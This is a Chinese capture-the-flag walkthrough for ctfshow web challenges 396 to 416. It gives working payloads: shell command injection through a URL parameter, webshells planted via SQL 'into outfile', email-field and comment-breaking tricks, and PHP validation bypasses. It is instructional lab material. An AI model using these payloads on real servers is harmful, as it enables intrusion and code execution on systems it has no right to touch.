CTFSHOW | 其他篇题解(一)web396-web416

文章目录

前言

由于题目比较多,所以分三个部分来写,这是第一部分

题目列表

web396

打开题目,可以看到给出了代码

会解析传入的URL,然后提取其中的host和path放入代码中执行

我们分析一下URL结构,举个例子

复制代码
https://www.example.com:8080/path/to/resource?user=alice#section1
部分 示例 说明
scheme https 协议(常见有http、https、ftp等)
host www.example.com 主机地址/域名
port 8080 端口号(省略时默认http是80,https为443)
path /path/to/resource 路径,资源在服务器的位置
query ?user=alice 查询参数
fragment #section1 页面锚点,供浏览器滚动到指定位置

回到题目,shell_exec函数可以执行系统命令,因此有很多方法可以做这题

方法一:反引号执行系统命令

用反引号执行系统命令,传入参数

复制代码
?url=http://`ls`/var/www/html/1.txt

然后打开1.txt查看结果

直接读取flag即可

复制代码
?url=http://`cat fl0g.php`/var/www/html/1.txt

方法二:$()执行系统命令

在Shell脚本或命令行里,$()语法可以用来执行系统命令。它的作用叫"命令替换":会把括号里的命令先执行,然后用输出结果代替$()这个表达式的内容

读取当前目录内容

复制代码
?url=http://$(ls)/var/www/html/1.txt

读取flag

复制代码
?url=http://$(cat fl0g.php)/var/www/html/1.txt

方法三:分号截断命令

可以用分号截断当前命令,然后执行新命令,可以直接写文件、写webshell,或者反弹shell都可以,看你喜欢哪个

读取当前目录内容

复制代码
?url=http://1/1;echo `ls` > 1.txt

读取flag

复制代码
?url=http://1/1;echo `cat fl0g.php` > 1.txt

web397

这次把内容写进了/tmp目录里

因为/tmp是在根目录,用../返回上一级即可,方法跟之前一样

方法一:反引号执行系统命令

读取当前目录内容

复制代码
?url=http://`ls`/../var/www/html/1.txt

读取flag

复制代码
?url=http://`cat fl0g.php`/../var/www/html/1.txt

方法二:$()执行系统命令

读取当前目录内容

复制代码
?url=http://$(ls)/../var/www/html/1.txt

读取flag

复制代码
?url=http://$(cat fl0g.php)/../var/www/html/1.txt

方法三:分号截断命令

读取当前目录内容

复制代码
?url=http://1/1;echo `ls` > 1.txt

读取flag

复制代码
?url=http://1/1;echo `cat fl0g.php` > 1.txt

web398

对host部分过滤了分号,方法三用不了,其他步骤跟web397一样

方法一:反引号执行系统命令

读取当前目录内容

复制代码
?url=http://`ls`/../var/www/html/1.txt

读取flag

复制代码
?url=http://`cat fl0g.php`/../var/www/html/1.txt

方法二:$()执行系统命令

读取当前目录内容

复制代码
?url=http://$(ls)/../var/www/html/1.txt

读取flag

复制代码
?url=http://$(cat fl0g.php)/../var/www/html/1.txt

web399

对host过滤了分号和>,影响的还是步骤三,步骤一和步骤二不影响

方法一:反引号执行系统命令

读取当前目录内容

复制代码
?url=http://`ls`/../var/www/html/1.txt

读取flag

复制代码
?url=http://`cat fl0g.php`/../var/www/html/1.txt

方法二:$()执行系统命令

读取当前目录内容

复制代码
?url=http://$(ls)/../var/www/html/1.txt

读取flag

复制代码
?url=http://$(cat fl0g.php)/../var/www/html/1.txt

web400

在web399的基础上多过滤了http和https,且不区分大小写,不过影响不大,步骤跟上题一样

方法一:反引号执行系统命令

读取当前目录内容

复制代码
?url=http://`ls`/../var/www/html/1.txt

读取flag

复制代码
?url=http://`cat fl0g.php`/../var/www/html/1.txt

方法二:$()执行系统命令

读取当前目录内容

复制代码
?url=http://$(ls)/../var/www/html/1.txt

读取flag

复制代码
?url=http://$(cat fl0g.php)/../var/www/html/1.txt

web401

这题把解析后的URL打印了出来,然后比上题多过滤了反斜杠,不过不影响做题

方法一:反引号执行系统命令

读取当前目录内容

复制代码
?url=http://`ls`/../var/www/html/1.txt

读取flag

复制代码
?url=http://`cat fl0g.php`/../var/www/html/1.txt

方法二:$()执行系统命令

读取当前目录内容

复制代码
?url=http://$(ls)/../var/www/html/1.txt

读取flag

复制代码
?url=http://$(cat fl0g.php)/../var/www/html/1.txt

web402

这题对scheme协议做了过滤,要求不能出现http和https,随便输入个东西替换即可

方法一:反引号执行系统命令

把http换成1,然后跟之前一样传参即可

复制代码
?url=1://`ls`/../var/www/html/1.txt

读取1.txt内容

读取flag

复制代码
?url=1://`cat fl0g.php`/../var/www/html/1.txt

方法二:$()执行系统命令

读取当前目录内容

复制代码
?url=1://$(ls)/../var/www/html/1.txt

读取flag

复制代码
?url=1://$(cat fl0g.php)/../var/www/html/1.txt

web403

先看看代码

过滤规则改了,我们分析一下

php 复制代码
if(preg_match('/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/', $url['host'])){

这段代码用正则表达式判断 $url['host'] 是否是一个合法的IPv4地址。具体解释如下:

  • /^...$/ :匹配整个字符串(从头到尾),保证整个输入就是IP,不夹杂其他字符
  • ((2[0-4]\d|25[0-5]|[1]?\d\d?)\.){3} :匹配前三段,每段数字+点 。每段数字规则如下:
    • 2[0-4]\d:匹配200-249
    • 25[0-5]:匹配250-255
    • ?\d\d?:匹配0-199(包括1位、2位、3位数字,即0-9、00-99、100-199)
  • 最后一段没有点,只剩数字部分,规则同上

综合起来,这个正则表达式能精确匹配0.0.0.0~255.255.255.255范围内的IPv4地址格式

因此之前的方法一和方法二都用不了,但是方法三可以用了,咱们用分号截断之前的命令并执行新命令

读取当前目录内容

复制代码
?url=http://127.0.0.1/1;echo `ls` > 1.txt

读取flag

复制代码
?url=http://127.0.0.1/1;echo `cat fl0g.php` > 1.txt

web404

这题说起来挺好笑的,刚开始看到标题写了"容器生成较慢,得多等一会儿",我真以为要多等一会,硬生生等了几十分钟,结果点进去还是404,就觉得奇怪。后面看到图片还一闪一闪的,好家伙这网页还带自动刷新的,发现不对劲后点开源码看看,结果真被坑了

后面想了一会,应该是因为这题是web404,估计官方想借此整活,也是被气笑了

回归正题,我们看到源码里写了404.php,拼接进网页访问

可以看到比上题多了个正则匹配

php 复制代码
if(preg_match('/^\/[A-Za-z0-9]+$/', $url['path'])){

简单来说,这个正则表达式检测的字符串必须是:

  • 以斜杠 / 开头
  • 斜杠后面跟着至少一个字母或数字
  • 整个字符串中不能有空格或其他符号

比如符合的路径有:

  • /abc
  • /A1B2C3
  • /12345

然后host部分的正则匹配也改了

php 复制代码
if(preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./', $url['host'])){

其中:

  • (2[0-4]\d|25[0-5]|[1]?\d\d?) 是0-255范围内的一段数字
  • ((...)\.){3} 表示前三个数字段加点

但因为最后的.是匹配任意字符 ,该正则会匹配形如"192.168.1.1a"或"10.0.0.1/"这类,末尾允许至少跟着一个字符 ,不是严格的IP地址校验。而且也没有用开头 ^ 和结尾 $ 锚点来表示必须完全匹配整个字符串,这给了我们机会,可以用分号截断命令

读取当前目录内容

复制代码
?url=http://127.0.0.1;echo `ls` > 1.txt;/1

读取flag

复制代码
?url=http://127.0.0.1;echo `cat fl0g.php` > 1.txt;/1

web405

先看看代码

这次多了对scheme的检测,要求必须包含波浪号、点号或者php字符其中之一,因此我们改一下协议即可,方法跟之前一样

读取当前目录内容

复制代码
?url=php://127.0.0.1;echo `ls` > 1.txt;/1

读取flag

复制代码
?url=php://127.0.0.1;echo `cat fl0g.php` > 1.txt;/1

web406

先看代码

源码提示flag in db,说明flag放在数据库。然后对传入的参数url进行了过滤,去除了无效url地址

联合注入 写入webshell即可,空格用/**/代替,不然会不行

复制代码
?url=http://127.0.0.1/'union/**/select/**/1,'<?=eval($_POST[1]);?>'/**/into/**/outfile/**/'/var/www/html/1.php#

然后打开1.txt查看,可以看到成功写入

蚁剑连接webshell即可

可以看到有个config.php配置文件

打开可以获取数据库账号密码

然后打开数据库操作页面

添加数据库,如图所示

成功找到flag

web407

先看代码

这题改成了要求输入参数ip,且要求必须为IP地址以通过FILTER_VALIDATE_IP验证

然后我们的目标是执行cafe类的add函数,可以用::来调用函数

payload:

复制代码
?ip=cafe::add

cafe::add会被当成IPv6地址,从而通过FILTER_VALIDATE_IP验证,展开的话就类似

复制代码
cafe:0000:0000:0000:0000:0000:0000:0add

然后打开网页源代码查看flag即可

我们分析一下IPv6构造:

IPv6地址的构造规则比较复杂,支持多种简写和压缩形式

  • IPv6地址由8组4位十六进制数字(0-9,a-f)组成,中间用冒号 : 分隔,如 2001:0db8:85a3:0000:0000:8a2e:0370:7334
  • 可以使用双冒号 :: 缩写连续的零,比如 2001:db8::1 表示中间连续的0可省略
  • 各部分区段中的数字可以使用小写或大写的十六进制字符

用个表格来概括就是

特点 说明
长度 128位(二进制)
分组 8组,每组16位,用冒号分隔
表示 采用十六进制数字表示,每组4位
前导零省略 可省略每组开头的零
连续多个0压缩为:: 每个地址只能出现一次::
地址类型多样 单播、组播、任播,特殊前缀表示不同用途
IPv4兼容和过渡地址 支持将IPv4嵌入IPv6地址
接口标识符自动生成 通过EUI-64等标准根据MAC生成

例如,典型IPv6地址是

复制代码
2001:0db8:85a3::8a2e:0370:7334

它等价于展开的

复制代码
2001:0db8:85a3:0000:0000:8a2e:0370:7334

web408

先看代码

这次改成了验证是否满足邮箱格式了,我们介绍一下FILTER_VALIDATE_EMAIL

FILTER_VALIDATE_EMAIL 是 PHP 内置的一个专门用来验证电子邮件格式是否合法的过滤器

它会根据RFC 5322标准对邮箱格式做校验,包括:

  • 检查是否存在且且只有一个 @ 符号
  • @ 前面的部分是邮箱用户名,允许的字符包括字母、数字、点 (.)、下划线 (_) 和连字符 (-) 等
  • @ 后面的部分是邮箱域名,必须包含有效的域名格式,比如 example.com,包含至少一个点号 (.),并且顶级域名部分也要正确
  • 避免使用不合法或不允许的特殊字符
  • 验证邮箱的整体格式符合国际标准,不过不验证邮箱是否真实存在

然后file_put_contents格式为

复制代码
file_put_contents(string $filename, mixed $data [, int $flags = 0 [, resource $context]])
  • $filename:要写入的文件路径和名称,如果文件不存在,则会自动创建
  • $data:写入文件的数据,可以是字符串、数组或者流资源
  • $flags(可选):
    • FILE_APPEND:将数据追加到文件末尾,而不是覆盖
    • LOCK_EX:写入时给文件加独占锁,以防止其他进程同时写入导致数据混乱
    • FILE_USE_INCLUDE_PATH:在包含路径中搜索文件
  • $context(可选):用于修改资源流的行为

可以把非法字符放在双引号里绕过email@的前缀限制,因此payload为

复制代码
?email="<?=eval($_POST[1]);?>"@1.php

然后蚁剑连接

在根目录找到flag

web409

先看代码

会过滤掉任意字符后的flag,这题我们可以通过闭合PHP代码来做

payload:

复制代码
?email="flageval($_POST[1]);?>"@1.com

通过在前面加上flag来触发$email=preg_replace('/.flag/', '', $email);这一行代码,会删掉前面的"flag,接着?>闭合代码

然后POST传参执行命令即可

复制代码
1=system('ls /');

读取flag即可

复制代码
1=system('cat /flag');

web410

先看代码

这次是通过布尔判断输入的b是否是"1"

根据PHP文档,FILTER_VALIDATE_BOOLEAN 会把下列字符串(不区分大小写)视为true

  • "1"
  • "true"
  • "on"
  • "yes"

以下对应的字符串(不区分大小写)视为false

  • "0"
  • "false"
  • "off"
  • "no"
  • ""(空字符串)

然后题目过滤了大于0的数字和true字符串,那我们传入on和yes都可以,大小写都行

payload:

复制代码
?b=yes

或者

复制代码
?b=on

web411

先看代码

跟上题一样,不过这次把on的大小写过滤了,我们用yes或TRUE等都可以,太多方法可以绕过了

payload:

复制代码
?b=yes

web412

先看代码

这次是POST传参ctfshow,然后添加到flag.php末尾,同时前面还有个注释符//

%0a换行即可

payload:

复制代码
ctfshow=%0aeval($_POST[1]);

然后蚁剑连接webshell

flag.php找到flag

web413

这题相比上一题,注释的方式改了

ctfshow变量被包含在多行注释符/**/里面了

只需前后加个注释符即可

payload:

复制代码
ctfshow=*/eval($_POST[1]);/*

然后跟上题一样,蚁剑连接webshell,在flag.php找到flag

web414

先看代码

我们简单分析一下代码

复制代码
if ($ctfshow == true)

判断变量$ctfshow是否等于true,只有在$ctfshow为真时,才会执行内部判断

复制代码
sqrt($ctfshow) >= sqrt(intval($flag))
  • sqrt()是取平方根函数
  • intval($flag)$flag转换为整数
  • 判断$ctfshow的平方根是否大于等于$flag整数值的平方根

只有当$ctfshow的平方根小于$flag整数的平方根时,才会显示flag

然后我们再来分析一般情况下布尔判断条件

被视为 false 的值:

  • 布尔 false
  • 整数 0
  • 浮点数 0.0
  • 空字符串 ""(包含字符串 "0")
  • 字符串 "0"
  • 空数组 []
  • NULL

被视为 true 的值:

  • 任意非零数字,例如1-13.14
  • 非空字符串,且不等于 "0",如 "false""off""hello" 等都会被认为是真
  • 非空数组
  • 资源类型
  • 对象

因此这题我们只要传入非零负数即可成功通过验证

payload:

复制代码
?ctfshow=-1

web415

先看代码

在PHP中,函数名是不区分大小写的 ,这意味着定义函数时用的名字,如getflag(),在调用时可以写成getflag()GetFlag()GETFLAG()等,都会被正确识别并调用

不过需要注意的是,虽然函数名调用不区分大小写,但变量名是区分大小写的

payload:

复制代码
?k=getFlag

然后源代码查看flag即可

web416

先看代码

我们要调用的是ctf类中的flag方法,直接用双冒号操作符即可

补充解释一下,它主要用于:

  • 访问类的静态属性静态方法
  • 访问类的常量
  • 调用父类(parent::)、当前类(self::)、或静态绑定类(static::)的成员

payload:

复制代码
?f=ctf::flag

然后源代码查看flag即可

相关推荐
ifeng09184 小时前
鸿蒙应用开发常见Crash场景解析:线程安全与异常边界处理
安全·cocoa·harmonyos
Chef_Chen4 小时前
数据科学每日总结--Day25--区块链
开发语言·php
chjqxxxx4 小时前
php使用ffmpeg实现视频随机截图并转成图片
ffmpeg·php·音视频
小镇学者4 小时前
【PHP】PHP WebShell(网页木马)分析
android·开发语言·php
Gauss松鼠会5 小时前
【GaussDB】使用DBLINK连接到ORACLE
数据库·sql·database·gaussdb
Arva .5 小时前
深度分页、读写分离、分库分表后 SQL 该如何优化?
数据库·sql
come112346 小时前
现代前端技术栈关系详解 (PHP 开发者特供版)
开发语言·前端·php
时代新威powertime6 小时前
等保三级|安全通信网络自评估指南
网络·安全·等保测评
EndingCoder6 小时前
会话管理与Cookie安全
redis·安全·缓存·it·cookie
一位搞嵌入式的 genius7 小时前
RARP 协议深度解析:MAC 到 IP 的反向映射与技术演进
计算机网络·安全·网络通信·rarp协议